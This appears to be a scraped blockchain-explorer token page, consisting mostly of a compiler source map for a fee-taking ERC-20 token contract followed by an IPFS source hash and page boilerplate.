;20202:80:0;7118:400:1;20202:80:0;20293:30;20310:12;20293:16;:30::i;7873:151::-;-1:-1:-1;;;;;7989:18:0;;;7962:7;7989:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7873:151::o;6287:201::-;5900:13;:11;:13::i;:::-;-1:-1:-1;;;;;6376:22:0;::::1;6368:73;;;::::0;-1:-1:-1;;;6368:73:0;;7725:2:1;6368:73:0::1;::::0;::::1;7707:21:1::0;7764:2;7744:18;;;7737:30;7803:34;7783:18;;;7776:62;-1:-1:-1;;;7854:18:1;;;7847:36;7900:19;;6368:73:0::1;7523:402:1::0;6368:73:0::1;6452:28;6471:8;6452:18;:28::i;10963:380::-:0;-1:-1:-1;;;;;11099:19:0;;11091:68;;;;-1:-1:-1;;;11091:68:0;;8132:2:1;11091:68:0;;;8114:21:1;8171:2;8151:18;;;8144:30;8210:34;8190:18;;;8183:62;-1:-1:-1;;;8261:18:1;;;8254:34;8305:19;;11091:68:0;7930:400:1;11091:68:0;-1:-1:-1;;;;;11178:21:0;;11170:68;;;;-1:-1:-1;;;11170:68:0;;8537:2:1;11170:68:0;;;8519:21:1;8576:2;8556:18;;;8549:30;8615:34;8595:18;;;8588:62;-1:-1:-1;;;8666:18:1;;;8659:32;8708:19;;11170:68:0;8335:398:1;11170:68:0;-1:-1:-1;;;;;11251:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;11303:32;;160:25:1;;;11303:32:0;;133:18:1;11303:32:0;;;;;;;10963:380;;;:::o;11351:453::-;11486:24;11513:25;11523:5;11530:7;11513:9;:25::i;:::-;11486:52;;-1:-1:-1;;11553:16:0;:37;11549:248;;11635:6;11615:16;:26;;11607:68;;;;-1:-1:-1;;;11607:68:0;;8940:2:1;11607:68:0;;;8922:21:1;8979:2;8959:18;;;8952:30;9018:31;8998:18;;;8991:59;9067:18;;11607:68:0;8738:353:1;11607:68:0;11719:51;11728:5;11735:7;11763:6;11744:16;:25;11719:8;:51::i;15414:2634::-;-1:-1:-1;;;;;15514:18:0;;15506:68;;;;-1:-1:-1;;;15506:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;15593:16:0;;15585:64;;;;-1:-1:-1;;;15585:64:0;;;;;;;:::i;:::-;15677:1;15668:6;:10;15660:71;;;;-1:-1:-1;;;15660:71:0;;10108:2:1;15660:71:0;;;10090:21:1;10147:2;10127:18;;;10120:30;10186:34;10166:18;;;10159:62;-1:-1:-1;;;10237:18:1;;;10230:46;10293:19;;15660:71:0;9906:412:1;15660:71:0;15748:6;15758:1;15748:11;15744:93;;15776:28;15792:4;15798:2;15802:1;15776:15;:28::i;:::-;15414:2634;;;:::o;15744:93::-;-1:-1:-1;;;;;15876:31:0;;15857:15;15876:31;;;:25;:31;;;;;;;;15875:32;:66;;;;-1:-1:-1;;;;;;15912:29:0;;;;;;:25;:29;;;;;;;;15911:30;15875:66;15857:84;;15966:7;6014:6;;-1:-1:-1;;;;;6014:6:0;;5941:87;15966:7;-1:-1:-1;;;;;15958:15:0;:4;-1:-1:-1;;;;;15958:15:0;;;:32;;;;-1:-1:-1;6014:6:0;;-1:-1:-1;;;;;15977:13:0;;;6014:6;;15977:13;;15958:32;:52;;;;-1:-1:-1;;;;;;15994:16:0;;;;15958:52;:77;;;;-1:-1:-1;;;;;;16014:21:0;;16028:6;16014:21;;15958:77;:90;;;;-1:-1:-1;16040:8:0;;-1:-1:-1;;;16040:8:0;;;;16039:9;15958:90;15954:1030;;;16072:11;;;;16067:140;;-1:-1:-1;;;;;16112:25:0;;;;;;:19;:25;;;;;;;;;:52;;-1:-1:-1;;;;;;16141:23:0;;;;;;:19;:23;;;;;;;;16112:52;16104:87;;;;-1:-1:-1;;;16104:87:0;;10525:2:1;16104:87:0;;;10507:21:1;10564:2;10544:18;;;10537:30;-1:-1:-1;;;10583:18:1;;;10576:52;10645:18;;16104:87:0;10323:346:1;16104:87:0;-1:-1:-1;;;;;16227:31:0;;;;;;:25;:31;;;;;;;;:71;;;;-1:-1:-1;;;;;;16263:35:0;;;;;;:31;:35;;;;;;;;16262:36;16227:71;16223:736;;;16337:20;;16327:6;:30;;16319:96;;;;-1:-1:-1;;;16319:96:0;;10876:2:1;16319:96:0;;;10858:21:1;10915:2;10895:18;;;10888:30;10954:34;10934:18;;;10927:62;-1:-1:-1;;;11005:18:1;;;10998:51;11066:19;;16319:96:0;10674:417:1;16319:96:0;16468:9;;-1:-1:-1;;;;;7638:18:0;;7611:7;7638:18;;;;;;;;;;;16442:22;;:6;:22;:::i;:::-;:35;;16434:67;;;;-1:-1:-1;;;16434:67:0;;11298:2:1;16434:67:0;;;11280:21:1;11337:2;11317:18;;;11310:30;-1:-1:-1;;;11356:18:1;;;11349:49;11415:18;;16434:67:0;11096:343:1;16434:67:0;16520:8;:11;;;:8;:11;;;:::i;:::-;;;;;;16223:736;;;-1:-1:-1;;;;;16572:29:0;;;;;;:25;:29;;;;;;;;:71;;;;-1:-1:-1;;;;;;16606:37:0;;;;;;:31;:37;;;;;;;;16605:38;16572:71;16568:391;;;16682:20;;16672:6;:30;;16664:97;;;;-1:-1:-1;;;16664:97:0;;11786:2:1;16664:97:0;;;11768:21:1;11825:2;11805:18;;;11798:30;11864:34;11844:18;;;11837:62;-1:-1:-1;;;11915:18:1;;;11908:52;11977:19;;16664:97:0;11584:418:1;16664:97:0;16568:391;;;-1:-1:-1;;;;;16820:35:0;;;;;;:31;:35;;;;;;;;16815:144;;16910:9;;-1:-1:-1;;;;;7638:18:0;;7611:7;7638:18;;;;;;;;;;;16884:22;;:6;:22;:::i;:::-;:35;;16876:67;;;;-1:-1:-1;;;16876:67:0;;11298:2:1;16876:67:0;;;11280:21:1;11337:2;11317:18;;;11310:30;-1:-1:-1;;;11356:18:1;;;11349:49;11415:18;;16876:67:0;11096:343:1;16876:67:0;17004:12;17020:10;17019:11;:82;;;;-1:-1:-1;;;;;;17050:31:0;;;;;;;:25;:31;;;;;;17083:9;;17094:6;;17034:67;;17044:4;;17050:31;;;17083:9;;17034;:67::i;:::-;17004:97;;17118:7;:20;;;;-1:-1:-1;17130:8:0;;-1:-1:-1;;;17130:8:0;;;;17129:9;17118:20;:56;;;;-1:-1:-1;;;;;;17143:31:0;;;;;;:25;:31;;;;;;;;17142:32;17118:56;:86;;;;-1:-1:-1;;;;;;17179:25:0;;;;;;:19;:25;;;;;;;;17178:26;17118:86;:114;;;;-1:-1:-1;;;;;;17209:23:0;;;;;;:19;:23;;;;;;;;17208:24;17118:114;17114:229;;;17249:8;:15;;-1:-1:-1;;;;17249:15:0;-1:-1:-1;;;17249:15:0;;;17279:21;17293:6;17279:13;:21::i;:::-;17315:8;:16;;-1:-1:-1;;;;17315:16:0;;;17114:229;17371:8;;17355:12;;-1:-1:-1;;;17371:8:0;;;;17370:9;:24;;;;;17384:10;17383:11;17370:24;-1:-1:-1;;;;;17411:25:0;;;;;;:19;:25;;;;;;17355:39;;-1:-1:-1;17411:25:0;;;:52;;-1:-1:-1;;;;;;17440:23:0;;;;;;:19;:23;;;;;;;;17411:52;17407:100;;;-1:-1:-1;17490:5:0;17407:100;17519:12;17552:7;17548:449;;;-1:-1:-1;;;;;17580:29:0;;;;;;:25;:29;;;;;;;;17576:263;;;17637:63;17696:3;17637:54;17657:13;;17648:8;;:22;:42;;17680:10;;17648:42;;;17672:7;;17648:42;17637:6;;:10;:54::i;:::-;:58;;:63::i;:::-;17630:70;;17576:263;;;17761:62;17819:3;17761:53;17781:13;;17772:8;;:22;:41;;17803:10;;17772:41;;;17796:6;;17761;;:10;:53::i;:62::-;17754:69;;17576:263;17870:8;;17866:91;;17899:42;17915:4;17929;17936;17899:15;:42::i;:::-;17971:14;17981:4;17971:14;;:::i;:::-;;;17548:449;18007:33;18023:4;18029:2;18033:6;18007:15;:33::i;:::-;15493:2555;;;;15414:2634;;;:::o;6036:132::-;6014:6;;-1:-1:-1;;;;;6014:6:0;345:10;6100:23;6092:68;;;;-1:-1:-1;;;6092:68:0;;12342:2:1;6092:68:0;;;12324:21:1;;;12361:18;;;12354:30;12420:34;12400:18;;;12393:62;12472:18;;6092:68:0;12140:356:1;6496:191:0;6589:6;;;-1:-1:-1;;;;;6606:17:0;;;-1:-1:-1;;;;;;6606:17:0;;;;;;;6639:40;;6589:6;;;6606:17;6589:6;;6639:40;;6570:16;;6639:40;6559:128;6496:191;:::o;15086:186::-;-1:-1:-1;;;;;15169:31:0;;;;;;:25;:31;;;;;;:39;;-1:-1:-1;;15169:39:0;;;;;;;;;;15224:40;;15169:39;;:31;15224:40;;;15086:186;;:::o;18246:480::-;18338:16;;;18352:1;18338:16;;;;;;;;18314:21;;18338:16;;;;;;;;;;-1:-1:-1;18338:16:0;18314:40;;18383:4;18365;18370:1;18365:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;18365:23:0;;;-1:-1:-1;;;;;18365:23:0;;;;;18409:16;-1:-1:-1;;;;;18409:21:0;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;18399:4;18404:1;18399:7;;;;;;;;:::i;:::-;;;;;;:33;-1:-1:-1;;;;;18399:33:0;;;-1:-1:-1;;;;;18399:33:0;;;;;18445:63;18462:4;18477:16;18496:11;18445:8;:63::i;:::-;18521:197;;-1:-1:-1;;;18521:197:0;;-1:-1:-1;;;;;18521:16:0;:67;;;;:197;;18603:11;;18629:1;;18645:4;;18672;;18692:15;;18521:197;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18301:425;18246:480;:::o;9234:675::-;-1:-1:-1;;;;;9365:18:0;;9357:68;;;;-1:-1:-1;;;9357:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;9444:16:0;;9436:64;;;;-1:-1:-1;;;9436:64:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;9586:15:0;;9564:19;9586:15;;;;;;;;;;;9620:21;;;;9612:72;;;;-1:-1:-1;;;9612:72:0;;14208:2:1;9612:72:0;;;14190:21:1;14247:2;14227:18;;;14220:30;14286:34;14266:18;;;14259:62;-1:-1:-1;;;14337:18:1;;;14330:36;14383:19;;9612:72:0;14006:402:1;9612:72:0;-1:-1:-1;;;;;9720:15:0;;;:9;:15;;;;;;;;;;;9738:20;;;9720:38;;9773:13;;;;;;;;;;:23;;;;;;9825:26;;160:25:1;;;9773:13:0;;9825:26;;133:18:1;9825:26:0;;;;;;;9864:37;15414:2634;18056:182;18151:4;18171:5;18168:40;;;18178:30;18187:4;18193:6;18201;18178:8;:30::i;20339:682::-;20441:4;20397:23;7638:18;;;;;;;;;;;;20494:19;;;;;:59;;;20535:18;;20517:15;:36;20494:59;20491:338;;;-1:-1:-1;20585:15:0;20491:338;;;20655:18;;20646:6;:27;20642:176;;;-1:-1:-1;20709:18:0;;20642:176;;;-1:-1:-1;20796:6:0;20642:176;20844:19;;20841:63;;20874:30;20891:12;20874:16;:30::i;:::-;20946:21;20978:35;20946:21;20978:15;:35::i;3737:98::-;3795:7;3822:5;3826:1;3822;:5;:::i;:::-;3815:12;3737:98;-1:-1:-1;;;3737:98:0:o;3843:::-;3901:7;3928:5;3932:1;3928;:5;:::i;21029:103::-;21097:9;;21089:35;;-1:-1:-1;;;;;21097:9:0;;;;21089:35;;;;;21117:6;;21097:9;21089:35;21097:9;21089:35;21117:6;21097:9;21089:35;;;;;;;;;;;;;;;;;;;196:548:1;308:4;337:2;366;355:9;348:21;398:6;392:13;441:6;436:2;425:9;421:18;414:34;466:1;476:140;490:6;487:1;484:13;476:140;;;585:14;;;581:23;;575:30;551:17;;;570:2;547:26;540:66;505:10;;476:140;;;480:3;665:1;660:2;651:6;640:9;636:22;632:31;625:42;735:2;728;724:7;719:2;711:6;707:15;703:29;692:9;688:45;684:54;676:62;;;;196:548;;;;:::o;749:131::-;-1:-1:-1;;;;;824:31:1;;814:42;;804:70;;870:1;867;860:12;885:315;953:6;961;1014:2;1002:9;993:7;989:23;985:32;982:52;;;1030:1;1027;1020:12;982:52;1069:9;1056:23;1088:31;1113:5;1088:31;:::i;:::-;1138:5;1190:2;1175:18;;;;1162:32;;-1:-1:-1;;;885:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2255:247::-;2314:6;2367:2;2355:9;2346:7;2342:23;2338:32;2335:52;;;2383:1;2380;2373:12;2335:52;2422:9;2409:23;2441:31;2466:5;2441:31;:::i;2740:118::-;2826:5;2819:13;2812:21;2805:5;2802:32;2792:60;;2848:1;2845;2838:12;2863:382;2928:6;2936;2989:2;2977:9;2968:7;2964:23;2960:32;2957:52;;;3005:1;3002;2995:12;2957:52;3044:9;3031:23;3063:31;3088:5;3063:31;:::i;:::-;3113:5;-1:-1:-1;3170:2:1;3155:18;;3142:32;3183:30;3142:32;3183:30;:::i;:::-;3232:7;3222:17;;;2863:382;;;;;:::o;3250:180::-;3309:6;3362:2;3350:9;3341:7;3337:23;3333:32;3330:52;;;3378:1;3375;3368:12;3330:52;-1:-1:-1;3401:23:1;;3250:180;-1:-1:-1;3250:180:1:o;3435:388::-;3503:6;3511;3564:2;3552:9;3543:7;3539:23;3535:32;3532:52;;;3580:1;3577;3570:12;3532:52;3619:9;3606:23;3638:31;3663:5;3638:31;:::i;:::-;3688:5;-1:-1:-1;3745:2:1;3730:18;;3717:32;3758:33;3717:32;3758:33;:::i;3828:380::-;3907:1;3903:12;;;;3950;;;3971:61;;4025:4;4017:6;4013:17;4003:27;;3971:61;4078:2;4070:6;4067:14;4047:18;4044:38;4041:161;;4124:10;4119:3;4115:20;4112:1;4105:31;4159:4;4156:1;4149:15;4187:4;4184:1;4177:15;4041:161;;3828:380;;;:::o;4213:127::-;4274:10;4269:3;4265:20;4262:1;4255:31;4305:4;4302:1;4295:15;4329:4;4326:1;4319:15;4345:125;4410:9;;;4431:10;;;4428:36;;;4444:18;;:::i;4475:184::-;4545:6;4598:2;4586:9;4577:7;4573:23;4569:32;4566:52;;;4614:1;4611;4604:12;4566:52;-1:-1:-1;4637:16:1;;4475:184;-1:-1:-1;4475:184:1:o;5290:245::-;5357:6;5410:2;5398:9;5389:7;5385:23;5381:32;5378:52;;;5426:1;5423;5416:12;5378:52;5458:9;5452:16;5477:28;5499:5;5477:28;:::i;6723:168::-;6796:9;;;6827;;6844:15;;;6838:22;;6824:37;6814:71;;6865:18;;:::i;6896:217::-;6936:1;6962;6952:132;;7006:10;7001:3;6997:20;6994:1;6987:31;7041:4;7038:1;7031:15;7069:4;7066:1;7059:15;6952:132;-1:-1:-1;7098:9:1;;6896:217::o;9096:401::-;9298:2;9280:21;;;9337:2;9317:18;;;9310:30;9376:34;9371:2;9356:18;;9349:62;-1:-1:-1;;;9442:2:1;9427:18;;9420:35;9487:3;9472:19;;9096:401::o;9502:399::-;9704:2;9686:21;;;9743:2;9723:18;;;9716:30;9782:34;9777:2;9762:18;;9755:62;-1:-1:-1;;;9848:2:1;9833:18;;9826:33;9891:3;9876:19;;9502:399::o;11444:135::-;11483:3;11504:17;;;11501:43;;11524:18;;:::i;:::-;-1:-1:-1;11571:1:1;11560:13;;11444:135::o;12007:128::-;12074:9;;;12095:11;;;12092:37;;;12109:18;;:::i;12633:127::-;12694:10;12689:3;12685:20;12682:1;12675:31;12725:4;12722:1;12715:15;12749:4;12746:1;12739:15;12765:251;12835:6;12888:2;12876:9;12867:7;12863:23;12859:32;12856:52;;;12904:1;12901;12894:12;12856:52;12936:9;12930:16;12955:31;12980:5;12955:31;:::i;13021:980::-;13283:4;13331:3;13320:9;13316:19;13362:6;13351:9;13344:25;13388:2;13426:6;13421:2;13410:9;13406:18;13399:34;13469:3;13464:2;13453:9;13449:18;13442:31;13493:6;13528;13522:13;13559:6;13551;13544:22;13597:3;13586:9;13582:19;13575:26;;13636:2;13628:6;13624:15;13610:29;;13657:1;13667:195;13681:6;13678:1;13675:13;13667:195;;;13746:13;;-1:-1:-1;;;;;13742:39:1;13730:52;;13837:15;;;;13802:12;;;;13778:1;13696:9;13667:195;;;-1:-1:-1;;;;;;;13918:32:1;;;;13913:2;13898:18;;13891:60;-1:-1:-1;;;13982:3:1;13967:19;13960:35;13879:3;13021:980;-1:-1:-1;;;13021:980:1:o
Swarm Source
ipfs://c9d3f8297025129b7a5d1fe559f0600826e0392541ffb7cf10ef5bc89804edd1
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.